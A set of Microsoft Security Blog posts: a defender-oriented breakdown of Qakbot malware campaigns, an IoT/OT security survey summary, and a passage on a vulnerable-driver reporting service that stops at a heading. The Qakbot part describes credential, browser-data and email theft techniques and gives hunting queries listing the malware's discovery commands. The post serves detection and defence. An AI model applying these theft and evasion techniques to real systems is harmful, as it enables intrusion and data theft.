Qakbot’s modularity and flexibility could pose a challenge for security analysts and defenders because concurrent Qakbot campaigns could look strikingly different on each affected device, significantly impacting how these defenders respond to such attacks. Therefore, a deeper understanding of Qakbot is paramount in building a comprehensive and coordinated defense strategy against it.

Based on our research and analysis of three recent notable Qakbot campaigns, we break down a Qakbot attack chain into several distinct building blocks. Within each campaign, some of these building blocks are consistent, although not all will be observed. Knowing these details allows defenders to correctly identify related threats and attacks, regardless of their source. Such intelligence and insights also feed into Microsoft’s multi-layer protection technologies, like those delivered through Microsoft 365 Defender, to detect and block these threats at various stages of the attack chain.

This blog post provides technical details of each of the building blocks that comprise Qakbot campaigns. It also includes mitigation recommendations and advanced hunting queries to help defenders proactively surface this threat.

From email to ransomware: Breaking down a Qakbot campaign

Like other modular malware, Qakbot infections may look differently on each affected device, depending on the operator using the said malware and their deployment of the threat campaign. However, based on our analysis, one can break down a Qakbot-related incident into a set of distinct “building blocks,” which can help security analysts identify and respond to Qakbot campaigns. Figure 1 below represents these building blocks. From our observation, each Qakbot attack chain can only have one block of each color. The first row and the macro block represent the email mechanism used to deliver Qakbot.

Diagram showing components of Qakbot campaigns as building blocks

Figure 1. Qakbot attack chain “building blocks” observed

Certain building blocks within each campaign are consistent, but not all of them are observed on each affected device. As seen in a sample Qakbot campaign below (Figure 2), the top two rows represent the mechanisms adopted to deliver the malware on the three devices, while the succeeding ones are the activities it performs once running on each device. For instance, notice that Devices A and C were seen to have email exfiltration, while Device B was not:

Diagram showing building blocks making up different Qakbot campaigns

Figure 2. Sample differences among devices affected by a single Qakbot campaign

Therefore, from an analyst’s viewpoint, what Figure 2 implies is that even if email exfiltration was not observed in one device, it doesn’t mean that this routine didn’t happen at all in their organization’s network.

From our research, we identified ten building blocks, which we will discuss in the succeeding sections.

Email delivery

Qakbot is delivered via one of three email methods: malicious links, malicious attachments, or, more recently, embedded images.

The messages in these email campaigns typically consist of one- or two-sentence lures (for example, “please see attached” or “click here to view a file”). Such brevity provides sufficient information and a call to action for the target users but little for content security solutions to detect.

Screenshot of email with malicious URLs used in Qakbot campaign

Figure 3. Sample Qakbot campaign email message

Malicious links

The email campaigns we observed delivering Qakbot typically include the URLs that download the malware on target devices in the message body. Earlier this year, we began to observe that some of these URLs were missing the HTTP or HTTPS protocol, rendering them unclickable in most email clients. Therefore, to download the malware, target recipients had to manually enter the link into a browser.

Screenshot of email with unclickable links

Figure 4. Sample Qakbot campaign email containing an unclickable URL and fake-reply lure

Although the missing protocol poses a challenge for some email security solutions that detonate links through sandboxing, the extra step needed from targets to copy and paste the URL hinders the attack’s success rate. However, it should also be noted that what the messages sometimes lack in formatting, they make up for in the content by using fake-reply lures.

This fake-reply technique, which has already been seen in previous Qakbot and other major malware delivery campaigns, uses stolen subject lines and message content to construct a malicious reply to appear as part of a prior email thread. Qakbot is also known for reusing email threads exfiltrated from prior infections to create new templates for their next email campaign runs, allowing an attacker to use an actual subject line and message content to construct the spoofed reply. This increases the likelihood of target users clicking or copy-pasting the link because the message they receive from this campaign feels more expected. At the same time, attackers benefit from growing entropy among messages because no two emails in the same campaign will be alike. Unfortunately, such entropy also makes it more difficult for security analysts and defenders to fully scope a campaign.

Malicious attachments

Some Qakbot-related emails sent by attackers may include a ZIP file attachment. Within the ZIP is a spreadsheet containing Excel 4.0 macros.

The attachment name is meant to appear as an official corporate document to trick a target recipient into opening it. For example, between September and November this year, the naming patterns we observed for the attachment included but were not limited to the following:

  • CMPL-[digits]-[month]-[day].zip
  • Compensation_Reject-[digits]-[mmddyyyy].zip
  • Document_[digits]-[mmddyyyy].zip
  • Document_[digits]-Copy.zip
  • PRMS-[digits].zip
  • Rebate-[digits]-[mmddyyyy].zip
  • REF-[digits]-[month]-[day].zip
  • TXN-[digits].zip

Screenshot of email with malicious ZIP attachment

Figure 5. Sample Qakbot campaign email containing a ZIP attachment

Embedded images

In its third and most recent evolution, Qakbot arrives via an email message that only contains an embedded image in its body, a stark contrast to its previous delivery methods that used file attachments or direct hyperlinks. We uncovered this Qakbot campaign while investigating malware infections from malicious Excel files associated with emails that abuse Craigslist’s email messaging system to deliver malicious files—a routine first reported by INKY.

This campaign is more involved than previous Qakbot email campaigns because, unlike its previous delivery methods, the malicious components in the email (in this case, the malicious URL) are not in the message body as text but are contained instead within an image designed to look like the message body. The image instructs recipients to type the URL directly in their browser to download an Excel file that eventually leads to Qakbot.

The said image is a screenshot of text formatted to impersonate an automated Craigslist notification, and it informs the target recipient of a supposed policy infraction on their Craigslist posting. The said fake notification further instructs the user to enter a URL into a browser to access a form for more detailed information, threatening to delete their account if they don’t follow.

 Screenshot of email with image containing the malicious URL

Figure 6. Craigslist campaign email luring targets with an embedded image

Attackers crawl Craigslist ad posts to harvest email relay addresses, where they then send custom-crafted messages directly. The email relay receives the sent messages and removes personal data—including the sender’s actual email address, appends original post details to the end of the message, then forwards it through Craigslist infrastructure to mask the original sender. As a result, the ad owner will receive an anonymized email sent from the legitimate craigslist.org domain.

The attackers’ abuse of the email relay system allows them to remain anonymous and impersonate Craigslist. It also adds a sense of legitimacy to the messages because it comes from a popular domain that is generally deemed safe by traditional security solutions.

Based on our observation, this email campaign replies to job-related ads, which we believe is the attackers’ attempt to target recipients who open such types of messages while connected to a corporate network. However, based on our threat data, users’ success rate accessing the related malicious domains is relatively low. Such a result is likely because the campaign requires the target recipients to perform the additional step of typing a URL.

Macro enablement

Despite the varying email methods attackers are using to deliver Qakbot, these campaigns have in common their use of malicious macros in Office documents, specifically Excel 4.0 macros. It should be noted that while threats use Excel 4.0 macros as an attempt to evade detection, this feature is now disabled by default and thus requires users to enable it manually for such threats to execute properly.

Once the user downloads and opens the malicious Excel file, the text in the document attempts to lure them into enabling the macro. The said text claims that the file is “protected” by a service such as Microsoft or DocuSign, and that the user must enable the macro to view the document’s actual content.

Screenshot of malicious Excel file with lure to enable macros

Figure 7. XLS file with a DocuSign lure urging targets to enable macros

If the user goes ahead and enables the macro, Excel immediately checks if there is a subprocedure predefined in the macro to run automatically once the document opens; in this case, auto_open(). The Visual Basic for Applications (VBA) code written within this subprocedure creates a new macrosheet and then writes Excel 4.0 formulas in several of its cells. Next, it jumps to one cell in this sheet by calling the Application.Run method. In this way, the VBA code starts the Excel 4.0 macro code that was just written to the macrosheet.

Screenshot of malicious macro code

Figure 8. Example of an Excel 4.0 macro generated by the VBA script.

Generating and calling Excel 4.0 macro from VBA is an evasion technique to prevent static analysis tools from decoding the macro. When the user closes the document, the auto_close() function launches to clean up and remove the malicious macrosheet created by the VBA macro.

Qakbot delivery

Once macros are enabled, the next phase of the attack begins. First, the macro connects to a predefined set of IP addresses or domains to download the malicious files. Some macros are designed to connect to three domains simultaneously, downloading a file of the same name. This is likely done for one of two reasons: first, as a redundancy measure to ensure that the malware is still delivered even if one or two of the domains have been blocked or taken down; and second, to enable the attacker to deliver multiple payloads if desired.

Screenshot of malicious macro code for downloading payload

Figure 9. Portion of the generated Excel 4.0 macro that shows its attempts to download three payloads from three locations.

In most cases, the downloaded file is a Portable Executable (PE) file renamed with either an .htm or .dat file extension, in order to bypass web filtering systems that prevent certain file types. Depending on the specific campaign, the naming of these files varies greatly. For example, a recent campaign using .htm files named them with simple letters and numbers, such as goh[1].htm or j[1].htm. However, a separate campaign that used an invoice theme and used .dat files named them with an extremely long string of numbers, such as 44494.4409064815[1].dat. Again, these differences from campaign to campaign highlight that Qakbot is used simultaneously by different threat actors, which can make concurrent campaigns of the same malware look strikingly different.

Once this file is downloaded onto the device, the file is promptly renamed to a different file name with a nonexistent file name extension. Some examples include test.test and good.good (derived from .htm files), or GiCelod.waGic and Celod.wac (derived from .dat files). In many of the incidents involving .htm files, a folder called C:\Datop is created, and the files are saved in that location. Meanwhile, the incidents with .dat files are saved in the C:\Users\AppData\Local\Temp location.

Process injection for discovery

Whichever file the user ends up with is loaded using regsvr32.exe, which injects into a legitimate process. Both MSRA.exe and Mobsync.exe have been used for this process injection behavior in recent Qakbot-related campaigns.

The injected process is then used for a series of discovery commands, including the following:

Screenshot of commands executed via LOLBins

Scheduled tasks

The injected process from the previous building block then creates a .dll file with a randomly generated name. This DLL is used to query existing scheduled tasks for a specific ID, and if that scheduled task does not already exist, the DLL creates the task. The scheduled task is to run a predefined task as a means of persistence, as outlined in the following command line:

Screenshot of command to start a task
This scheduled task is created with the /F flag, which is used to suppress warnings if the specified task already exists, even though the malware has already queried for a specific scheduled task.

Credential and browser data theft

Qakbot attempts to steal credentials from multiple locations. First, the injected MSRA.exe or Mobsync.exe process loads the Vault Credential Library file to enumerate credentials. Additionally, this process injects into ping.exe and attempts to read credentials from CredMan using the passport.net\* parameter.

Qakbot also targets browser data. The injected process launches the esentutl.exe process. Browser data, including cookies and browser history, are recovered from the web cache using the following commands:

Screenshot of command for getting browser data via esentutl.exe
These commands specifically look for log files, system files, and database files (/l, /s, and /d).

Email exfiltration

As mentioned in a previous section, many of the emails delivering Qakbot use the fake-reply technique. To do this, Qakbot is also designed to exfiltrate emails from affected devices.

To exfiltrate emails, the injected process launches into the ping.exe process and launches a command to ping localhost:

Screenshot of code for pinging local host

From there, ping.exe is used to copy dozens of email message files and save them in an “Email Storage” folder. These email messages are saved with sequential naming schema, starting with 1.eml and increasing by one for as many email messages as the attacker copies. We have identified instances where the attacker copied out over 100 message files from a single device.

Once the copied email files are exfiltrated, the evidence of the action is deleted by removing the “Email Storage” folder using the rmdir command.

Additional payloads, lateral movement, and ransomware

As is the case with many malware variants today, getting Qakbot onto a device is frequently just the first step in what ends up being a larger attack. Attackers can use the access from Qakbot infections to deliver additional payloads or sell access to other threat actors who can use the purchased access for their objectives.

In many cases, attackers will expand the scope of their attack by using credentials obtained in earlier stages of the attack to move laterally throughout the network. In several instances, attackers would move laterally using Windows Management Instrumentation (WMI) and drop a malicious DLL on the newly accessed device. From there, the attacker will run the same series of discovery commands as they did on the initial access device and will conduct further credential theft.

In other instances, other malicious files are dropped in conjunction with the malicious DLL. For example, several BAT files that were specifically designed to turn off security tools on the affected device were dropped before dropping the malicious DLL. These slight differences in the attack chain are evidence of multiple actors using Qakbot for lateral movement.

In addition to lateral movement, attackers frequently drop additional payloads on affected devices, especially Cobalt Strike. Qakbot has a Cobalt Strike module, and actors who purchase access to machines with prior Qakbot infections may also drop their own Cobalt Strike beacons and additional payloads. Using Cobalt Strike lets attackers have full hands-on-keyboard access to the affected devices, enabling them to perform additional discovery, find high-value targets on the network, move laterally, and drop additional payloads, especially human-operated ransomware variants such as Conti and Egregor.

Resurging and evolving threats require coordinated threat defense

Qakbot’s continued prevalence in the threat landscape demands comprehensive protection capable of detecting and stopping this malware, its components, and other similar threats at every stage of the attack chain: email delivery, network activity, endpoint behavior, and follow-on attacker activities. Microsoft 365 Defender provides coordinated defense using multiple layers of dynamic protection technologies­—including machine learning-based protection—and correlating threat data from email, endpoints, identities, and cloud apps. It is also backed by a global network of threat experts who continuously monitor the threat landscape for new, resurging, and evolving attacker tools and techniques.

Microsoft Defender for Office 365 detects and blocks emails that attempt to deliver Qakbot. Safe Links and Safe Attachments provide real-time protection by leveraging a built-in sandbox that examines and detonates links and attachments in messages before they get delivered to target recipients. However, for those messages without such artifacts, Microsoft Defender SmartScreen in Microsoft Edge and other web browsers that support it blocks the malicious websites and prevents downloading the malicious Excel file on devices.

On endpoints, attack surface reduction rules detect and block common attack techniques used by Qakbot and subsequent threats that may result from its activities. Endpoint detection and response (EDR) capabilities detect malicious files, malicious behavior, and other related events before and after execution. Network protection also blocks subsequent attempts by Qakbot to connect to malicious domains and IP addresses, and Advanced hunting lets defenders create custom detections to proactively find this malware and other related threats.

Defenders can also do the following mitigation steps to reduce the impact of Qakbot in their organizations:

  • Check your Office 365 email filtering settings to ensure you block spoofed emails, spam, and emails with malware. Use Office 365 security for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Office 365 to recheck links on click.
  • Enable Zero-hour auto purge (ZAP) in Exchange Online, which is an email protection capability that retroactively detects and neutralizes malicious messages that have already been delivered in response to newly acquired threat intelligence.
  • Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware. Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
  • Stop malicious XLM or VBA macros by ensuring runtime macro scanning by Windows Antimalware Scan Interface (AMSI) is on. This feature—enabled by default—is on if the Group Policy setting for Macro Run Time Scan Scope is set to Enable for All Files or Enable for Low Trust Files.
  • Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
  • Turn on tamper protection features to prevent attackers from stopping security services.
  • Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
  • Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
  • Use device discovery to increase your visibility into your network by finding unmanaged devices on your network and onboarding them to Microsoft Defender for Endpoint.
  • Use multi-factor authentication (MFA) to mitigate credential theft and prevent attacker access. Keep MFA always-on for privileged accounts and apply risk-based MFA for normal accounts. Consider transitioning to a passwordless primary authentication method, such as Azure MFA, certificates, or Windows Hello for Business.
  • Run realistic, yet safe, simulated phishing and password attack campaigns in your organization using Attack Simulator for Microsoft Defender for Office 365. Run spear-phishing (credential harvest) simulations to train end users against clicking URLs in unsolicited messages and disclosing their credentials.
  • Educate end users about identifying lures in spear-phishing emails and watering hole attacks, protecting personal and business information in social media, and filtering unsolicited communication. Encourage users to report reconnaissance attempts and other suspicious activity.

Learn how you can stop attacks through automated, cross-domain security with Microsoft 365 Defender.

 

Microsoft 365 Defender Threat Intelligence Team

 

Appendix

Microsoft researchers published the following threat analytics reports, which are available to Microsoft 365 Defender customers through the Microsoft 365 security center:

These reports serve as a good starting point for organizations to understand these active attacks, determine if they are affected, and investigate related incidents and alerts. The reports provide and consolidate real-time data aggregated from across Microsoft 365 Defender, indicating the all-up impact of the threat to the organization.

The following sections provide the specific Microsoft 365 Defender detections that can help surface Qakbot and related threats.

Antivirus

Microsoft Defender Antivirus detects Qakbot installers as the following malware:

Qakbot downloader

Qakbot implant

Qakbot behavior

Additional detections based on activity group behavior

Due to Qakbot’s high likelihood of transitioning to human-operated attack behaviors including data exfiltration, lateral movement, and ransomware by multiple actors, the detections seen after infection can vary widely. During the activity described in this report, at least one major activity group was provided Qakbot access after initial infection, but other groups have been known to purchase access so any initial infection indicated by advanced hunting queries, behavior, or Qakbot infection should be fully investigated.

Endpoint detection and response (EDR)

Alerts with the following titles in the security center can indicate threat activity on your network related directly to the material in this report covering Qakbot initial infection and future human operated or ransomware activity:

  • Qakbot malware
  • Qakbot credential stealer
  • Qakbot download URL
  • Qakbot network infrastructure

Email security

Microsoft Defender for Office 365 offers enhanced solutions for blocking and identifying malicious emails. In the email entity page, administrators can get enhanced information on emails in a unified view. Administrators can view known campaigns impacting inboxes and investigate malicious emails by drilling down to view all attachments or URL detonation details from dynamic analysis.

The following dynamic detonation signature may indicate threat activity associated with Qakbot. By utilizing email Campaigns view, you can filter based on campaign subtype for the following signals. These signals, however, can be triggered by unrelated threat activity:

  • Downloader_Macro_Donoff_ZGA

Advanced hunting

The following Advanced Hunting Queries are accurate as of this writing. For the most up-to-date queries, visit aka.ms/QakbotAHQ.

To locate possible exploitation activity, run the following queries in Microsoft 365 Defender.

Craigslist impersonation domains lead to XLS download

Use this query to locate devices connecting to malicious domains registered to impersonate Craigslist.org. These domains act as redirectors which direct the target to a malicious XLS download.

DeviceNetworkEvents
| where RemoteUrl matches regex @"abuse\.[a-zA-Z]\d{2}-craigslist\.org"

Qakbot-favored process execution after anomalous Excel spawning

Use this query to find Excel launching anomalous processes congruent with Qakbot payloads which contain additional markers from recent Qakbot executions. The presence of such anomalous processes indicate that the payload was delivered and executed, though reconnaissance and successful implantation hasn’t been completed yet.

DeviceProcessEvents
| where InitiatingProcessParentFileName has "excel.exe" or InitiatingProcessFileName =~ "excel.exe"
| where InitiatingProcessFileName in~ ("excel.exe","regsvr32.exe")
| where FileName in~ ("regsvr32.exe", "rundll32.exe")
| where ProcessCommandLine has @"..\"

Qakbot reconnaissance activities

Use this query to find reconnaissance and beaconing activities after code injection occurs. Reconnaissance commands are consistent with the current version of Qakbot and occur automatically to exfiltrate system information. This data, once exfiltrated, will be used to prioritize human operated actions.

DeviceProcessEvents
| where InitiatingProcessFileName == InitiatingProcessCommandLine
| where ProcessCommandLine has_any (
"whoami /all","cmd /c set","arp -a","ipconfig /all","net view /all","nslookup -querytype=ALL -timeout=10",
"net share","route print","netstat -nao","net localgroup")
| summarize dcount(FileName), make_set(ProcessCommandLine) by DeviceId,bin(Timestamp, 1d), InitiatingProcessFileName, InitiatingProcessCommandLine
| where dcount_FileName >= 8

Qakbot email stealing by ping.exe

Use this query to find email stealing activities ran by Qakbot that will use “ping.exe -t 127.0.0.1” to obfuscate subsequent actions. Email theft that occurs might be exfiltrated to operators and indicates that the malware completed a large portion of its automated activity without interruption.

DeviceFileEvents
| where InitiatingProcessFileName =~ 'ping.exe'
| where FileName endswith '.eml'

General attempts to access local email store

Use this query to find attempts to access files in the local path containing Outlook emails.

DeviceFileEvents
| where FolderPath hasprefix "EmailStorage"
| where FolderPath has "Outlook"
| project FileName, FolderPath, InitiatingProcessFileName,
InitiatingProcessCommandLine, DeviceId, Timestamp

Email collection for exfiltration

Use this query to find attempts to copy and store emails for later exfiltration.

DeviceFileEvents
| where InitiatingProcessFileName =~ 'ping.exe' and InitiatingProcessCommandLine == 'ping.exe -t 127.0.0.1'
and InitiatingProcessParentFileName in~('msra.exe', 'mobsync.exe') and FolderPath endswith ".eml"

 

 

The post A closer look at Qakbot’s latest building blocks (and how to knock them down) appeared first on Microsoft Security Blog.

New research shows IoT and OT innovation is critical to business but comes with significant risks

December 8th, 2021 No comments

The need for much improved IoT and operational technology (OT) cybersecurity became clearer this year with recent attacks on network devices,1 surveillance systems,2 an oil pipeline,3 and a water treatment facility,4 to name a few examples.

To better understand the challenges customers are facing, Microsoft partnered with the Ponemon Institute to produce empirical data to help us better understand the state of IoT and OT security from a customer’s perspective. With this data, we hope to better target our cybersecurity investments and to improve the efficacy within Microsoft Defender for IoT, and our other IoT-related products. Ponemon conducted the research by surveying 615 IT, IT security, and OT security practitioners across the United States.

To get an overview of the key findings from the 2021 The State of IoT and OT Cybersecurity in the Enterprise, download the full report.

IoT adoption is critical despite significant security challenges

The research showed that a large majority of respondents believe that IoT and OT adoption is critical to future business success. As a result, they are advancing IoT and OT projects as a key priority.

  • 68 percent of respondents say senior management believes IoT and OT are critical to supporting business innovation and other strategic goals.
  • 65 percent of respondents say senior management has made it a priority for IT and OT security practitioners to plan, develop, or deploy IoT and OT projects to advance business interests.

Within this group, only a small minority of organizations slowed, limited, or stopped IoT and OT projects even though a majority believe that generally these types of devices are not built with security in mind and that they represent one of the least secured aspects of their IT and OT infrastructure.

  • 31 percent of IT security practitioners have slowed, limited, or stopped the adoption of IoT and OT projects due to security concerns.
  • 55 percent of respondents do not believe IoT and OT devices have been designed with security in mind.
  • 60 percent of respondents say IoT and OT security is one of the least secured aspects of their IT and OT infrastructure.

Based on the data, it appears that business interests are currently taking priority over the increased security risks that organizations assume, as they advance their IoT and OT projects. This puts security and risk leaders in a difficult place and explains why IoT and cyber-physical systems security has become their top concern for the next three to five years.5

“We believe this unique research highlights the obstacles organizations face as they use IoT and OT to drive business innovation with technologies that are more easily compromised than traditional endpoints,” said Dr. Larry Ponemon, Chairman and Founder of Ponemon Institute. “On a positive note, a vast majority of security and risk leaders recognize the threat and have made shoring up their IoT and OT defenses a top priority for the next 12 to 24 months.”

Outdated IoT and OT assumptions are putting organizations at risk

In the past, there was a common assumption about IoT and OT devices that is no longer true. It was assumed that IoT and OT devices were typically segmented from traditional endpoints (workstations, servers, and mobile) or that they were deployed within separate air-gapped networks. The research confirmed that devices on IT and OT networks are frequently connected directly or indirectly to the internet, making them targets that can be breached from outside of the organization. The latest evolution to the Mozi attack1 is a great example of how a business network can be breached through network gear running on the edge of business networks.

  • 51 percent of OT networks are connected to corporate IT (business) networks, like SAP and remote access.
  • 88 percent of respondents say their enterprise IoT devices are connected to the internet—for instance, for cloud printing services.
  • 56 percent of respondents say devices on their OT network are connected to the internet for scenarios like remote access.

It’s critical that these dated assumptions are removed from organizational thinking so that proper mitigations can be put in place.

Key security challenges for IoT and OT devices

When it comes to securing IoT and OT devices, the top challenge is related to visibility. Per the research, only a small subset of respondents shared that they had a complete view of all their IoT and OT asset inventory.

  • 29 percent of respondents mentioned that their organizations have a complete inventory of IoT and OT devices. Among them, they have an average of 9,685 devices.

But visibility isn’t just about building a complete asset inventory. It’s also about gaining visibility into the security posture of each IoT and OT device. Questions like “Is the device optimally configured for security,” “Are there any known vulnerabilities in the device’s firmware,” “Is the device communicating or connected directly to the internet,” and “Is the device patched with the latest firmware build?” are some of the questions that organizations need answers to but struggle with for their IoT and OT devices.

  • 42 percent of respondents claimed they lack the ability to detect vulnerabilities on IoT and OT devices.
  • 64 percent of respondents have low or average confidence that IoT devices are patched and up to date.

Another dimension of visibility that customers are seeking solutions for is related to the ability for organizations to become aware of IoT and OT devices that are involved in attacks. Most of the survey respondents have low to average confidence that the tools they have deployed will be successful in detecting compromised devices.

  • 61 percent have low or average confidence in the ability to identify whether IoT devices are compromised.

Another important aspect of visibility worth mentioning is that customers struggle with the ability to efficiently determine how compromised IoT and OT devices are part of broader end-to-end incidents. To resolve attacks completely and decisively, organizations frequently use manual investigation processes to correlate and make sense of the end-to-end attack. Meanwhile, attackers use this time to broaden the attack and get closer to the end goal.

  • 47 percent of respondents say their organizations are primarily using manual processes to identify and correlate impacted IoT and OT devices.

IoT and OT attacks are not hypothetical

The Ponemon research shows us that a good percentage of the surveyed respondents are encountering IoT and OT attacks. Nearly 40 percent of respondents told us that they’ve experienced attacks where the IoT and OT devices were either the actual target of the attack (for example, to halt production using human-operated ransomware) or were used to conduct broader attacks (such as lateral movement, evade detection, and persist). Most respondents felt these types of attacks will increase in the years to come.

  • 39 percent of respondents experienced a cyber incident in the past two years where an IoT or OT device was the target of the attack.
  • 35 percent of respondents say in the past two years their organizations experienced a cyber incident where an IoT device was used by an attacker to conduct a broader attack.
  • 63 percent of respondents say the volume of attacks will significantly increase.

One thing to keep in mind with these last three statistics is that the study also showed that customers have low to average confidence in their ability to detect when IoT and OT devices have been compromised. Based on this, it’s likely that the real numbers are higher.

The new Microsoft Defender for IoT is available now for your feedback

Last month at Ignite, we announced that Microsoft Defender for IoT, formerly Azure Defender for IoT, is adding agentless monitoring capabilities to help secure enterprise IoT devices connected to IT networks such as Voice over Internet Protocol (VoIP), printers, and smart TVs. This complements the product’s existing support for industrial systems and critical infrastructure like ICS/SCADA. Additionally, we announced that Defender for IoT is part of the Microsoft SIEM and XDR offering bringing its AI, automation, and expertise to complex multistage attacks that involve IoT and OT devices.

An open investigation dashboard for P L C programming and related alerts.

Figure 1. Deep contextual telemetry (like asset and connection details) combined with threat intelligence (like analytics rules, SOAR playbooks, and dashboards) from Section 52 helps analysts perform high-efficiency incident responses.

Microsoft Security would now like to invite you to try out the new public preview of the integrated solution that addresses the challenges surfaced in the Ponemon research, such as complete asset inventory, vulnerability management, threat detection, and correlation. Try the public preview functionality within the Microsoft 365 Defender console or within the Microsoft Defender for IoT experiences. We look forward to hearing and integrating your feedback for the new Microsoft Defender for IoT.

More details on the public preview and roadmap can be viewed in our Ignite session.

Video with link to the Accelerate digital transformation by securing your Enterprise I o T devices with Microsoft Defender for I o T session with Nir Krumer, Principal P M Manager, and Chris Hallum, Senior Product Marketing Manager.

Figure 2. Nir Krumer, Principal Program Manager, and Chris Hallum, Senior Product Marketing Manager, discuss securing your Enterprise IoT devices with Microsoft Defender for IoT.

Learn more

More information on the current release of Microsoft Defender for IoT, which offers OT security, can be found in the following resources:

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

 


1This is why the Mozi botnet will linger on, Charlie Osborne, ZDNet. 1 September 2021.

2‘Thousands’ of Verkada Cameras Affected by Hacking Breach, IFSEC Global Staff, Dark Reading. 10 March 2021.

3Hackers Breached Colonial Pipeline Using Compromised Password, William Turton, Kartikay Mehrotra, Bloomberg. 4 June 2021.

4‘Dangerous Stuff’: Hackers Tried to Poison Water Supply of Florida Town, Frances Robles, Nicole Perlroth, New York Times. 8 February 2021.

5Develop a Security Strategy for Cyber-Physical Systems, Susan Moore, Gartner. 13 April 2021.

The post New research shows IoT and OT innovation is critical to business but comes with significant risks appeared first on Microsoft Security Blog.

Improve kernel security with the new Microsoft Vulnerable and Malicious Driver Reporting Center

December 8th, 2021 No comments

Windows 10 and Windows 11 have continued to raise the security bar for drivers running in the kernel. Kernel-mode driver publishers must pass the Hardware Lab Kit (HLK) compatibility tests, malware scanning, and prove their identity through extended validation (EV) certificates. This has significantly reduced the ability for malicious actors to run nefarious kernel code on Windows 10 and Windows 11 devices.

Vulnerable driver attacks

Increasingly, adversaries are leveraging legitimate drivers in the ecosystem and their security vulnerabilities to run malware. Multiple malware attacks, including RobinHood, Uroburos, Derusbi, GrayFish, and Sauron, have leveraged driver vulnerabilities (for example CVE-2008-3431,1 CVE-2013-3956,2 CVE-2009-0824,3 and CVE-2010-1592).4

Vulnerable driver attack campaigns target security vulnerabilities in well-intentioned drivers from trusted original equipment manufacturers (OEMs) and hardware vendors to gain kernel privileges, modify kernel signing policies, and load their malicious unsigned driver into the kernel. In some cases, these unsigned drivers will disable antivirus products to avoid detection. From there, ransomware, spyware, and other types of malware can be executed.

Microsoft Defender for Endpoint and Windows Security teams work diligently with driver publishers to detect security vulnerabilities before they can be exploited by malicious software. We also build automated mechanisms to help block vulnerable versions of drivers and help protect customers against vulnerability exploits based on the ecosystem and partner engagement.

Reporting vulnerabilities: Vulnerable and Malicious Driver Reporting Center

To help protect users against these types of attacks, Microsoft has created the new Vulnerable and Malicious Driver Reporting Center. The Reporting Center is designed to be easy-to-use and requires only the driver file and a few details to open a driver analysis case. Simply provide the driver binary for our analysis, details about the vulnerability or malicious behavior of the driver, and an email address for follow-up.

Homepage of the Vulnerable and Malicious Driver Reporting Center. Further down the homepage of the Vulnerable and Malicious Driver Reporting Center.

Figure 1: The Vulnerable and Malicious Driver Reporting Center.

The Reporting Center backend automatically analyzes the potentially vulnerable or malicious driver binary and identifies dangerous behaviors and security vulnerabilities including:

  • Drivers with the ability to map arbitrary kernel, physical, or device memory to user mode.
  • Drivers with the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode.
  • Drivers that provide access to storage that bypass Windows access control.

The Reporting Center can scan and analyze Windows drivers built for x86 and x64 architectures. Vulnerable and malicious scanned drivers are flagged for analysis and investigation by Microsoft’s Vulnerable Driver team. This program is currently not eligible for the Microsoft Security Response Center’s Bug Bounty program.

Report a driver for analysis now.

Feedback loop: Vulnerable drivers are automatically blocked in the ecosystem

Our security teams work closely with the driver publisher to help analyze and patch the vulnerability and update in-market affected devices. Once the driver publisher patches the vulnerability, updates to all affected drivers are distributed by the driver publisher, typically through Windows Update (WU). Once affected devices receive the latest security patches, drivers with confirmed security vulnerabilities will be blocked on Windows 10 devices in the ecosystem using Microsoft Defender for Endpoint attack surface reduction (ASR) and Microsoft Windows Defender Application Control (WDAC) technologies to protect devices against exploits involving vulnerable drivers to gain access to the kernel.

Microsoft Defender for Endpoint attack surface reduction rules

Vulnerable drivers ASR rule

E3 and E5 enterprise customers will gain the benefit of using Microsoft Defender for Endpoint’s ASR rules to block malicious and vulnerable drivers. ASR rules target and block entry points and code behavior used by malware and abused by attackers, preventing attacks from beginning in the first place. The vulnerable signed driver ASR rule prevents an application from writing a signed vulnerable driver to the system.

Vulnerable and malicious drivers are added to the vulnerable driver ASR rule to protect Microsoft Defender for Endpoint users against driver malware campaigns without any user intervention. ASR rules are supported in the following versions:

  • Windows 10 Pro or Enterprise, version 1709 or later.
  • Windows Server 1803 or later.
  • Windows Server 2019.

Configuring the vulnerable driver ASR rule

The vulnerable driver ASR rule can be enabled and configured using Intune, mobile device management (MDM), Microsoft Endpoint Configuration Manager, Group Policy, and PowerShell. To enable the vulnerable driver ASR rule by each method, please refer to the Microsoft documentation Use attack surface reduction to prevent malware infection.

ASR rules offer the following four settings:

  1. Not configured: Disable the ASR rule.
  2. Block: Enable the ASR rule.
  3. Audit: Evaluate how the ASR rule would impact your organization if enabled.
  4. Warn: Enable the ASR rule but allow the user to bypass the block.

The vulnerable driver ASR GUID is 56a863a9-875e-4185-98a7-b882c64b5ce5. The Intune name is Block abuse of exploited vulnerable signed drivers.

For the full list of ASR rule’s feature differences between E3 and E5 licenses, please refer to the Microsoft documentation Attack surface reduction features across Windows versions.

Windows Defender Application Control

Microsoft driver blocklist

Driver vulnerabilities confirmed by Microsoft Defender for Endpoint and Windows Security teams, including those reported by our security community through the Vulnerable Driver Reporting Center, are blocked by the Microsoft-supplied policy. This policy is automatically updated and pushed down through WU to Secured-core devices, Hypervisor-Protected Code Integrity (HVCI) enabled, and Windows in 10 S mode devices, by default. These classes of devices use WDAC and HVCI technology to block vulnerable and malicious drivers from running on devices before they are loaded into the kernel. The vulnerable driver blocklist policy is regularly updated and pushed out through WU to help protect against the latest kernel exploits.

To learn how to turn on HVCI in Windows 10 to opt into the automated Microsoft driver blocklist, or to verify if HVCI is enabled, visit Enable virtualization-based protection of code integrity.

Defending your devices against vulnerable and malicious drivers

